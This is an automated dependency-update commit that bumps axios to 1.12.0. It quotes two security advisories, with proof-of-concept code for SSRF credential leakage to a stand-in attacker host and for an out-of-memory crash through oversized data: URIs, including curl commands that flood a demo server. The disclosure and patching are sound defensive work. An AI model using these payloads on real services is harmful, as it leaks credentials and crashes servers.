Commit b591f87
authored
chore(deps): update dependency axios to v1.12.0 [security] (#805)
This PR contains the following updates:
| Package | Change | Age | Confidence |
|---|---|---|---|
| [axios](https://axios-http.com)
([source](https://redirect.github.com/axios/axios)) | [`1.7.9` ->
`1.12.0`](https://renovatebot.com/diffs/npm/axios/1.7.9/1.12.0) |
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
### GitHub Vulnerability Alerts
####
[CVE-2025-27152](https://redirect.github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6)
### Summary
A previously reported issue in axios demonstrated that using
protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than
protocol-relative URLs to axios has been identified. Even if `baseURL`
is set, axios sends the request to the specified absolute URL,
potentially causing SSRF and credential leakage. This issue impacts both
server-side and client-side usage of axios.
### Details
Consider the following code snippet:
```js
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
```
In this example, the request is sent to `http://attacker.test/` instead
of the `baseURL`. As a result, the domain owner of `attacker.test` would
receive the `X-API-KEY` included in the request headers.
It is recommended that:
- When `baseURL` is set, passing an absolute URL such as
`http://attacker.test/` to `get()` should not ignore `baseURL`.
- Before sending the HTTP request (after combining the `baseURL` with
the user-provided parameter), axios should verify that the resulting URL
still begins with the expected `baseURL`.
### PoC
Follow the steps below to reproduce the issue:
1. Set up two simple HTTP servers:
```
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
```
2. Create a script (e.g., main.js):
```js
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
```
3. Run the script:
```
$ node main.js
this is server2
```
Even though `baseURL` is set to `http://localhost:10001/`, axios sends
the request to `http://localhost:10002/`.
### Impact
- Credential Leakage: Sensitive API keys or credentials (configured in
axios) may be exposed to unintended third-party hosts if an absolute URL
is passed.
- SSRF (Server-Side Request Forgery): Attackers can send requests to
other internal hosts on the network where the axios program is running.
- Affected Users: Software that uses `baseURL` and does not validate
path parameters is affected by this issue.
####
[CVE-2025-58754](https://redirect.github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj)
## Summary
When Axios runs on Node.js and is given a URL with the `data:` scheme,
it does not perform HTTP. Instead, its Node http adapter decodes the
entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200
response.
This path ignores `maxContentLength` / `maxBodyLength` (which only
protect HTTP responses), so an attacker can supply a very large `data:`
URI and cause the process to allocate unbounded memory and crash (DoS),
even if the caller requested `responseType: 'stream'`.
## Details
The Node adapter (`lib/adapters/http.js`) supports the `data:` scheme.
When `axios` encounters a request whose URL starts with `data:`, it does
not perform an HTTP request. Instead, it calls `fromDataURI()` to decode
the Base64 payload into a Buffer or Blob.
Relevant code from
[`[httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)`](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):
```js
const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405, ... });
}
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200, ... });
}
```
The decoder is in
[`[lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)`](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):
```js
export default function fromDataURI(uri, asBlob, options) {
...
if (protocol === 'data') {
uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
const match = DATA_URL_PATTERN.exec(uri);
...
const body = match[3];
const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
if (asBlob) { return new _Blob([buffer], {type: mime}); }
return buffer;
}
throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
```
* The function decodes the entire Base64 payload into a Buffer with no
size limits or sanity checks.
* It does **not** honour `config.maxContentLength` or
`config.maxBodyLength`, which only apply to HTTP streams.
* As a result, a `data:` URI of arbitrary size can cause the Node
process to allocate the entire content into memory.
In comparison, normal HTTP responses are monitored for size, the HTTP
adapter accumulates the response into a buffer and will reject when
`totalResponseBytes` exceeds
[`[maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)`](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550).
No such check occurs for `data:` URIs.
## PoC
```js
const axios = require('axios');
async function main() {
// this example decodes ~120 MB
const base64Size = 160_000_000; // 120 MB after decoding
const base64 = 'A'.repeat(base64Size);
const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);
const response = await axios.get(uri, {
responseType: 'arraybuffer'
});
console.log('Received bytes:', response.data.length);
}
main().catch(err => {
console.error('Error:', err.message);
});
```
Run with limited heap to force a crash:
```bash
node --max-old-space-size=100 poc.js
```
Since Node heap is capped at 100 MB, the process terminates with an
out-of-memory error:
```
<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…
```
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive
agents, timeouts, and a JSON body. It allows data: URLs which axios
fully ignore `maxContentLength `, `maxBodyLength` and decodes into
memory on Node before streaming enabling DoS.
```js
import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";
const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
timeout: 10000,
maxRedirects: 5,
httpAgent, httpsAgent,
headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
validateStatus: c => c >= 200 && c < 400
});
const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/**
* POST /preview { "url": "<http|https|data URL>" }
* Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
*/
app.post("/preview", async (req, res) => {
const url = req.body?.url;
if (!url) return res.status(400).json({ error: "missing url" });
let u;
try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }
// Developer allows using data:// in the allowlist
const allowed = new Set(["http:", "https:", "data:"]);
if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });
const controller = new AbortController();
const onClose = () => controller.abort();
res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try {
const r = await axiosClient.get(u.toString(), {
responseType: "stream",
maxContentLength: 8 * 1024, // Axios will ignore this for data:
maxBodyLength: 8 * 1024, // Axios will ignore this for data:
signal: controller.signal
});
// stream only the first 64KB back
const cap = 64 * 1024;
let sent = 0;
const limiter = new PassThrough();
r.data.on("data", (chunk) => {
if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
else { sent += chunk.length; limiter.write(chunk); }
});
r.data.on("end", () => limiter.end());
r.data.on("error", (e) => limiter.destroy(e));
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
limiter.pipe(res);
} catch (err) {
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
res.status(502).json({ error: String(err?.message || err) });
} finally {
res.off("close", onClose);
}
});
app.listen(PORT, () => {
console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});
```
Run this app and send 3 post requests:
```sh
SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @​payload.json -o /dev/null```
```
---
## Suggestions
1. **Enforce size limits**
For `protocol === 'data:'`, inspect the length of the Base64 payload
before decoding. If `config.maxContentLength` or `config.maxBodyLength`
is set, reject URIs whose payload exceeds the limit.
2. **Stream decoding**
Instead of decoding the entire payload in one `Buffer.from` call, decode
the Base64 string in chunks using a streaming Base64 decoder. This would
allow the application to process the data incrementally and abort if it
grows too large.
---
### Release Notes
<details>
<summary>axios/axios (axios)</summary>
###
[`v1.12.0`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#1120-2025-09-11)
[Compare
Source](https://redirect.github.com/axios/axios/compare/v1.11.0...v1.12.0)
##### Bug Fixes
- adding build artifacts
([9ec86de](https://redirect.github.com/axios/axios/commit/9ec86de257bfa33856571036279169f385ed92bd))
- dont add dist on release
([a2edc36](https://redirect.github.com/axios/axios/commit/a2edc3606a4f775d868a67bb3461ff18ce7ecd11))
- **fetch-adapter:** set correct Content-Type for Node FormData
([#​6998](https://redirect.github.com/axios/axios/issues/6998))
([a9f47af](https://redirect.github.com/axios/axios/commit/a9f47afbf3224d2ca987dbd8188789c7ea853c5d))
- **node:** enforce maxContentLength for data: URLs
([#​7011](https://redirect.github.com/axios/axios/issues/7011))
([945435f](https://redirect.github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593))
- package exports
([#​5627](https://redirect.github.com/axios/axios/issues/5627))
([aa78ac2](https://redirect.github.com/axios/axios/commit/aa78ac23fc9036163308c0f6bd2bb885e7af3f36))
- **params:** removing '\[' and ']' from URL encode exclude characters
([#​3316](https://redirect.github.com/axios/axios/issues/3316))
([#​5715](https://redirect.github.com/axios/axios/issues/5715))
([6d84189](https://redirect.github.com/axios/axios/commit/6d84189349c43b1dcdd977b522610660cc4c7042))
- release pr run
([fd7f404](https://redirect.github.com/axios/axios/commit/fd7f404488b2c4f238c2fbe635b58026a634bfd2))
- **types:** change the type guard on isCancel
([#​5595](https://redirect.github.com/axios/axios/issues/5595))
([0dbb7fd](https://redirect.github.com/axios/axios/commit/0dbb7fd4f61dc568498cd13a681fa7f907d6ec7e))
##### Features
- **adapter:** surface low‑level network error details; attach original
error via cause
([#​6982](https://redirect.github.com/axios/axios/issues/6982))
([78b290c](https://redirect.github.com/axios/axios/commit/78b290c57c978ed2ab420b90d97350231c9e5d74))
- **fetch:** add fetch, Request, Response env config variables for the
adapter;
([#​7003](https://redirect.github.com/axios/axios/issues/7003))
([c959ff2](https://redirect.github.com/axios/axios/commit/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b))
- support reviver on JSON.parse
([#​5926](https://redirect.github.com/axios/axios/issues/5926))
([2a97634](https://redirect.github.com/axios/axios/commit/2a9763426e43d996fd60d01afe63fa6e1f5b4fca)),
closes
[#​5924](https://redirect.github.com/axios/axios/issues/5924)
- **types:** extend AxiosResponse interface to include custom headers
type
([#​6782](https://redirect.github.com/axios/axios/issues/6782))
([7960d34](https://redirect.github.com/axios/axios/commit/7960d34eded2de66ffd30b4687f8da0e46c4903e))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/22686401?v=4&s=18"
alt="avatar" width="18"/> [Willian
Agostini](https://redirect.github.com/WillianAgostini "+132/-16760
(#​7002 #​5926 #​6782 )")
- <img
src="https://avatars.githubusercontent.com/u/12586868?v=4&s=18"
alt="avatar" width="18"/> [Dmitriy
Mozgovoy](https://redirect.github.com/DigitalBrainJS "+4263/-293
(#​7006 #​7003 )")
- <img
src="https://avatars.githubusercontent.com/u/53833811?v=4&s=18"
alt="avatar" width="18"/> [khani](https://redirect.github.com/mkhani01
"+111/-15 (#​6982 )")
- <img
src="https://avatars.githubusercontent.com/u/7712804?v=4&s=18"
alt="avatar" width="18"/> [Ameer
Assadi](https://redirect.github.com/AmeerAssadi "+123/-0 (#​7011
)")
- <img
src="https://avatars.githubusercontent.com/u/70265727?v=4&s=18"
alt="avatar" width="18"/> [Emiedonmokumo
Dick-Boro](https://redirect.github.com/emiedonmokumo "+55/-35
(#​6998 )")
- <img
src="https://avatars.githubusercontent.com/u/47859767?v=4&s=18"
alt="avatar" width="18"/> [Zeroday
BYTE](https://redirect.github.com/opsysdebug "+8/-8 (#​6980 )")
- <img
src="https://avatars.githubusercontent.com/u/4814473?v=4&s=18"
alt="avatar" width="18"/> [Jason
Saayman](https://redirect.github.com/jasonsaayman "+7/-7 (#​6985
#​6985 )")
- <img
src="https://avatars.githubusercontent.com/u/13010755?v=4&s=18"
alt="avatar" width="18"/> [최예찬](https://redirect.github.com/HealGaren
"+5/-7 (#​5715 )")
- <img
src="https://avatars.githubusercontent.com/u/7002604?v=4&s=18"
alt="avatar" width="18"/> [Gligor
Kotushevski](https://redirect.github.com/gligorkot "+3/-1 (#​5627
)")
- <img
src="https://avatars.githubusercontent.com/u/15893?v=4&s=18"
alt="avatar" width="18"/> [Aleksandar
Dimitrov](https://redirect.github.com/adimit "+2/-1 (#​5595 )")
###
[`v1.11.0`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#1110-2025-07-22)
[Compare
Source](https://redirect.github.com/axios/axios/compare/v1.10.0...v1.11.0)
##### Bug Fixes
- form-data npm pakcage
([#​6970](https://redirect.github.com/axios/axios/issues/6970))
([e72c193](https://redirect.github.com/axios/axios/commit/e72c193722530db538b19e5ddaaa4544d226b253))
- prevent RangeError when using large Buffers
([#​6961](https://redirect.github.com/axios/axios/issues/6961))
([a2214ca](https://redirect.github.com/axios/axios/commit/a2214ca1bc60540baf2c80573cea3a0ff91ba9d1))
- **types:** resolve type discrepancies between ESM and CJS TypeScript
declaration files
([#​6956](https://redirect.github.com/axios/axios/issues/6956))
([8517aa1](https://redirect.github.com/axios/axios/commit/8517aa16f8d082fc1d5309c642220fa736159110))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/12534341?v=4&s=18"
alt="avatar" width="18"/> [izzy
goldman](https://redirect.github.com/izzygld "+186/-93 (#​6970 )")
- <img
src="https://avatars.githubusercontent.com/u/142807367?v=4&s=18"
alt="avatar" width="18"/> [Manish
Sahani](https://redirect.github.com/manishsahanidev "+70/-0
(#​6961 )")
- <img
src="https://avatars.githubusercontent.com/u/189505037?v=4&s=18"
alt="avatar" width="18"/> [Noritaka
Kobayashi](https://redirect.github.com/noritaka1166 "+12/-10
(#​6938 #​6939 )")
- <img
src="https://avatars.githubusercontent.com/u/392612?v=4&s=18"
alt="avatar" width="18"/> [James
Nail](https://redirect.github.com/jrnail23 "+13/-2 (#​6956 )")
- <img
src="https://avatars.githubusercontent.com/u/163745239?v=4&s=18"
alt="avatar" width="18"/>
[Tejaswi1305](https://redirect.github.com/Tejaswi1305 "+1/-1
(#​6894 )")
###
[`v1.10.0`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#1100-2025-06-14)
[Compare
Source](https://redirect.github.com/axios/axios/compare/v1.9.0...v1.10.0)
##### Bug Fixes
- **adapter:** pass fetchOptions to fetch function
([#​6883](https://redirect.github.com/axios/axios/issues/6883))
([0f50af8](https://redirect.github.com/axios/axios/commit/0f50af8e076b7fb403844789bd5e812dedcaf4ed))
- **form-data:** convert boolean values to strings in FormData
serialization
([#​6917](https://redirect.github.com/axios/axios/issues/6917))
([5064b10](https://redirect.github.com/axios/axios/commit/5064b108de336ff34862650709761b8a96d26be0))
- **package:** add module entry point for React Native;
([#​6933](https://redirect.github.com/axios/axios/issues/6933))
([3d343b8](https://redirect.github.com/axios/axios/commit/3d343b86dc4fd0eea0987059c5af04327c7ae304))
##### Features
- **types:** improved fetchOptions interface
([#​6867](https://redirect.github.com/axios/axios/issues/6867))
([63f1fce](https://redirect.github.com/axios/axios/commit/63f1fce233009f5db1abf2586c145825ac98c3d7))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/12586868?v=4&s=18"
alt="avatar" width="18"/> [Dmitriy
Mozgovoy](https://redirect.github.com/DigitalBrainJS "+30/-19
(#​6933 #​6920 #​6893 #​6892 )")
- <img
src="https://avatars.githubusercontent.com/u/189505037?v=4&s=18"
alt="avatar" width="18"/> [Noritaka
Kobayashi](https://redirect.github.com/noritaka1166 "+2/-6 (#​6922
#​6923 )")
- <img
src="https://avatars.githubusercontent.com/u/48370490?v=4&s=18"
alt="avatar" width="18"/> [Dimitrios
Lazanas](https://redirect.github.com/dimitry-lzs "+4/-0 (#​6917
)")
- <img
src="https://avatars.githubusercontent.com/u/71047946?v=4&s=18"
alt="avatar" width="18"/> [Adrian
Knapp](https://redirect.github.com/AdrianKnapp "+2/-2 (#​6867 )")
- <img
src="https://avatars.githubusercontent.com/u/16129206?v=4&s=18"
alt="avatar" width="18"/> [Howie
Zhao](https://redirect.github.com/howiezhao "+3/-1 (#​6872 )")
- <img
src="https://avatars.githubusercontent.com/u/6788611?v=4&s=18"
alt="avatar" width="18"/> [Uhyeon
Park](https://redirect.github.com/warpdev "+1/-1 (#​6883 )")
- <img
src="https://avatars.githubusercontent.com/u/20028934?v=4&s=18"
alt="avatar" width="18"/> [Sampo
Silvennoinen](https://redirect.github.com/stscoundrel "+1/-1
(#​6913 )")
###
[`v1.9.0`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#190-2025-04-24)
[Compare
Source](https://redirect.github.com/axios/axios/compare/v1.8.4...v1.9.0)
##### Bug Fixes
- **core:** fix the Axios constructor implementation to treat the config
argument as optional;
([#​6881](https://redirect.github.com/axios/axios/issues/6881))
([6c5d4cd](https://redirect.github.com/axios/axios/commit/6c5d4cd69286868059c5e52d45085cb9a894a983))
- **fetch:** fixed ERR_NETWORK mapping for Safari browsers;
([#​6767](https://redirect.github.com/axios/axios/issues/6767))
([dfe8411](https://redirect.github.com/axios/axios/commit/dfe8411c9a082c3d068bdd1f8d6e73054f387f45))
- **headers:** allow iterable objects to be a data source for the set
method;
([#​6873](https://redirect.github.com/axios/axios/issues/6873))
([1b1f9cc](https://redirect.github.com/axios/axios/commit/1b1f9ccdc15f1ea745160ec9a5223de9db4673bc))
- **headers:** fix `getSetCookie` by using 'get' method for caseless
access;
([#​6874](https://redirect.github.com/axios/axios/issues/6874))
([d4f7df4](https://redirect.github.com/axios/axios/commit/d4f7df4b304af8b373488fdf8e830793ff843eb9))
- **headers:** fixed support for setting multiple header values from an
iterated source;
([#​6885](https://redirect.github.com/axios/axios/issues/6885))
([f7a3b5e](https://redirect.github.com/axios/axios/commit/f7a3b5e0f7e5e127b97defa92a132fbf1b55cf15))
- **http:** send minimal end multipart boundary
([#​6661](https://redirect.github.com/axios/axios/issues/6661))
([987d2e2](https://redirect.github.com/axios/axios/commit/987d2e2dd3b362757550f36eab875e60640b6ddc))
- **types:** fix autocomplete for adapter config
([#​6855](https://redirect.github.com/axios/axios/issues/6855))
([e61a893](https://redirect.github.com/axios/axios/commit/e61a8934d8f94dd429a2f309b48c67307c700df0))
##### Features
- **AxiosHeaders:** add getSetCookie method to retrieve set-cookie
headers values
([#​5707](https://redirect.github.com/axios/axios/issues/5707))
([80ea756](https://redirect.github.com/axios/axios/commit/80ea756e72bcf53110fa792f5d7ab76e8b11c996))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/12586868?v=4&s=18"
alt="avatar" width="18"/> [Dmitriy
Mozgovoy](https://redirect.github.com/DigitalBrainJS "+200/-34
(#​6890 #​6889 #​6888 #​6885 #​6881
#​6767 #​6874 #​6873 )")
- <img
src="https://avatars.githubusercontent.com/u/4814473?v=4&s=18"
alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman
"+26/-1 ()")
- <img
src="https://avatars.githubusercontent.com/u/22686401?v=4&s=18"
alt="avatar" width="18"/> [Willian
Agostini](https://redirect.github.com/WillianAgostini "+21/-0
(#​5707 )")
- <img
src="https://avatars.githubusercontent.com/u/2500247?v=4&s=18"
alt="avatar" width="18"/> [George
Cheng](https://redirect.github.com/Gerhut "+3/-3 (#​5096 )")
- <img
src="https://avatars.githubusercontent.com/u/30260221?v=4&s=18"
alt="avatar" width="18"/>
[FatahChan](https://redirect.github.com/FatahChan "+2/-2 (#​6855
)")
- <img
src="https://avatars.githubusercontent.com/u/49002?v=4&s=18"
alt="avatar" width="18"/> [Ionuț G.
Stan](https://redirect.github.com/igstan "+1/-1 (#​6661 )")
####
[1.8.4](https://redirect.github.com/axios/axios/compare/v1.8.3...v1.8.4)
(2025-03-19)
##### Bug Fixes
- **buildFullPath:** handle `allowAbsoluteUrls: false` without `baseURL`
([#​6833](https://redirect.github.com/axios/axios/issues/6833))
([f10c2e0](https://redirect.github.com/axios/axios/commit/f10c2e0de7fde0051f848609a29c2906d0caa1d9))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/8029107?v=4&s=18"
alt="avatar" width="18"/> [Marc
Hassan](https://redirect.github.com/mhassan1 "+5/-1 (#​6833 )")
####
[1.8.3](https://redirect.github.com/axios/axios/compare/v1.8.2...v1.8.3)
(2025-03-10)
##### Bug Fixes
- add missing type for allowAbsoluteUrls
([#​6818](https://redirect.github.com/axios/axios/issues/6818))
([10fa70e](https://redirect.github.com/axios/axios/commit/10fa70ef14fe39558b15a179f0e82f5f5e5d11b2))
- **xhr/fetch:** pass `allowAbsoluteUrls` to `buildFullPath` in `xhr`
and `fetch` adapters
([#​6814](https://redirect.github.com/axios/axios/issues/6814))
([ec159e5](https://redirect.github.com/axios/axios/commit/ec159e507bdf08c04ba1a10fe7710094e9e50ec9))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/3238291?v=4&s=18"
alt="avatar" width="18"/> [Ashcon
Partovi](https://redirect.github.com/Electroid "+6/-0 (#​6811 )")
- <img
src="https://avatars.githubusercontent.com/u/28559054?v=4&s=18"
alt="avatar" width="18"/>
[StefanBRas](https://redirect.github.com/StefanBRas "+4/-0 (#​6818
)")
- <img
src="https://avatars.githubusercontent.com/u/8029107?v=4&s=18"
alt="avatar" width="18"/> [Marc
Hassan](https://redirect.github.com/mhassan1 "+2/-2 (#​6814 )")
####
[1.8.2](https://redirect.github.com/axios/axios/compare/v1.8.1...v1.8.2)
(2025-03-07)
##### Bug Fixes
- **http-adapter:** add allowAbsoluteUrls to path building
([#​6810](https://redirect.github.com/axios/axios/issues/6810))
([fb8eec2](https://redirect.github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/14166260?v=4&s=18"
alt="avatar" width="18"/> [Fasoro-Joseph
Alexander](https://redirect.github.com/lexcorp16 "+1/-1 (#​6810
)")
####
[1.8.1](https://redirect.github.com/axios/axios/compare/v1.8.0...v1.8.1)
(2025-02-26)
##### Bug Fixes
- **utils:** move `generateString` to platform utils to avoid importing
crypto module into client builds;
([#​6789](https://redirect.github.com/axios/axios/issues/6789))
([36a5a62](https://redirect.github.com/axios/axios/commit/36a5a620bec0b181451927f13ac85b9888b86cec))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/12586868?v=4&s=18"
alt="avatar" width="18"/> [Dmitriy
Mozgovoy](https://redirect.github.com/DigitalBrainJS "+51/-47
(#​6789 )")
###
[`v1.8.4`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#184-2025-03-19)
[Compare
Source](https://redirect.github.com/axios/axios/compare/v1.8.3...v1.8.4)
##### Bug Fixes
- **buildFullPath:** handle `allowAbsoluteUrls: false` without `baseURL`
([#​6833](https://redirect.github.com/axios/axios/issues/6833))
([f10c2e0](https://redirect.github.com/axios/axios/commit/f10c2e0de7fde0051f848609a29c2906d0caa1d9))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/8029107?v=4&s=18"
alt="avatar" width="18"/> [Marc
Hassan](https://redirect.github.com/mhassan1 "+5/-1 (#​6833 )")
###
[`v1.8.3`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#190-2025-04-24)
[Compare
Source](https://redirect.github.com/axios/axios/compare/v1.8.2...v1.8.3)
##### Bug Fixes
- **core:** fix the Axios constructor implementation to treat the config
argument as optional;
([#​6881](https://redirect.github.com/axios/axios/issues/6881))
([6c5d4cd](https://redirect.github.com/axios/axios/commit/6c5d4cd69286868059c5e52d45085cb9a894a983))
- **fetch:** fixed ERR\_NETWORK mapping for Safari browsers;
([#​6767](https://redirect.github.com/axios/axios/issues/6767))
([dfe8411](https://redirect.github.com/axios/axios/commit/dfe8411c9a082c3d068bdd1f8d6e73054f387f45))
- **headers:** allow iterable objects to be a data source for the set
method;
([#​6873](https://redirect.github.com/axios/axios/issues/6873))
([1b1f9cc](https://redirect.github.com/axios/axios/commit/1b1f9ccdc15f1ea745160ec9a5223de9db4673bc))
- **headers:** fix `getSetCookie` by using 'get' method for caseless
access;
([#​6874](https://redirect.github.com/axios/axios/issues/6874))
([d4f7df4](https://redirect.github.com/axios/axios/commit/d4f7df4b304af8b373488fdf8e830793ff843eb9))
- **headers:** fixed support for setting multiple header values from an
iterated source;
([#​6885](https://redirect.github.com/axios/axios/issues/6885))
([f7a3b5e](https://redirect.github.com/axios/axios/commit/f7a3b5e0f7e5e127b97defa92a132fbf1b55cf15))
- **http:** send minimal end multipart boundary
([#​6661](https://redirect.github.com/axios/axios/issues/6661))
([987d2e2](https://redirect.github.com/axios/axios/commit/987d2e2dd3b362757550f36eab875e60640b6ddc))
- **types:** fix autocomplete for adapter config
([#​6855](https://redirect.github.com/axios/axios/issues/6855))
([e61a893](https://redirect.github.com/axios/axios/commit/e61a8934d8f94dd429a2f309b48c67307c700df0))
##### Features
- **AxiosHeaders:** add getSetCookie method to retrieve set-cookie
headers values
([#​5707](https://redirect.github.com/axios/axios/issues/5707))
([80ea756](https://redirect.github.com/axios/axios/commit/80ea756e72bcf53110fa792f5d7ab76e8b11c996))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/12586868?v=4&s=18"
alt="avatar" width="18"/> [Dmitriy
Mozgovoy](https://redirect.github.com/DigitalBrainJS "+200/-34
(#​6890 #​6889 #​6888 #​6885 #​6881
#​6767 #​6874 #​6873 )")
- <img
src="https://avatars.githubusercontent.com/u/4814473?v=4&s=18"
alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman
"+26/-1 ()")
- <img
src="https://avatars.githubusercontent.com/u/22686401?v=4&s=18"
alt="avatar" width="18"/> [Willian
Agostini](https://redirect.github.com/WillianAgostini "+21/-0
(#​5707 )")
- <img
src="https://avatars.githubusercontent.com/u/2500247?v=4&s=18"
alt="avatar" width="18"/> [George
Cheng](https://redirect.github.com/Gerhut "+3/-3 (#​5096 )")
- <img
src="https://avatars.githubusercontent.com/u/30260221?v=4&s=18"
alt="avatar" width="18"/>
[FatahChan](https://redirect.github.com/FatahChan "+2/-2 (#​6855
)")
- <img
src="https://avatars.githubusercontent.com/u/49002?v=4&s=18"
alt="avatar" width="18"/> [Ionuț G.
Stan](https://redirect.github.com/igstan "+1/-1 (#​6661 )")
####
[1.8.4](https://redirect.github.com/axios/axios/compare/v1.8.3...v1.8.4)
(2025-03-19)
##### Bug Fixes
- **buildFullPath:** handle `allowAbsoluteUrls: false` without `baseURL`
([#​6833](https://redirect.github.com/axios/axios/issues/6833))
([f10c2e0](https://redirect.github.com/axios/axios/commit/f10c2e0de7fde0051f848609a29c2906d0caa1d9))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/8029107?v=4&s=18"
alt="avatar" width="18"/> [Marc
Hassan](https://redirect.github.com/mhassan1 "+5/-1 (#​6833 )")
####
[1.8.3](https://redirect.github.com/axios/axios/compare/v1.8.2...v1.8.3)
(2025-03-10)
##### Bug Fixes
- add missing type for allowAbsoluteUrls
([#​6818](https://redirect.github.com/axios/axios/issues/6818))
([10fa70e](https://redirect.github.com/axios/axios/commit/10fa70ef14fe39558b15a179f0e82f5f5e5d11b2))
- **xhr/fetch:** pass `allowAbsoluteUrls` to `buildFullPath` in `xhr`
and `fetch` adapters
([#​6814](https://redirect.github.com/axios/axios/issues/6814))
([ec159e5](https://redirect.github.com/axios/axios/commit/ec159e507bdf08c04ba1a10fe7710094e9e50ec9))
##### Contributors to this release
- <img
src="https://avatars.githubusercontent.com/u/3238291?v=4&s=18"
alt="avatar" width="18"/> [Ashcon
Partovi](https://redirect.github.com/Electroid "+6/-0 (#​6811 )")
- <img
src="https://avatars.githubusercontent.com/u/28559054?v=4&s=18"
alt="avatar" width="18"/>
[StefanBRas](https://redirect.github.com/StefanBRas "+4/-0 (#​6818
)")
- <img
src="https://avatars.githubusercontent.com/u/8029107?v=4&s=18"
alt="avatar" width="18"/> [Marc
Hassan](https://redirect.github.com/mhassan1 "+2/-2 (#​6814 )")
####
[1.8.2](https://redirect.github.com/axios/axios/compare/v1.8.1...v1.8.2)
(2025-03-07)
##### Bug Fixes
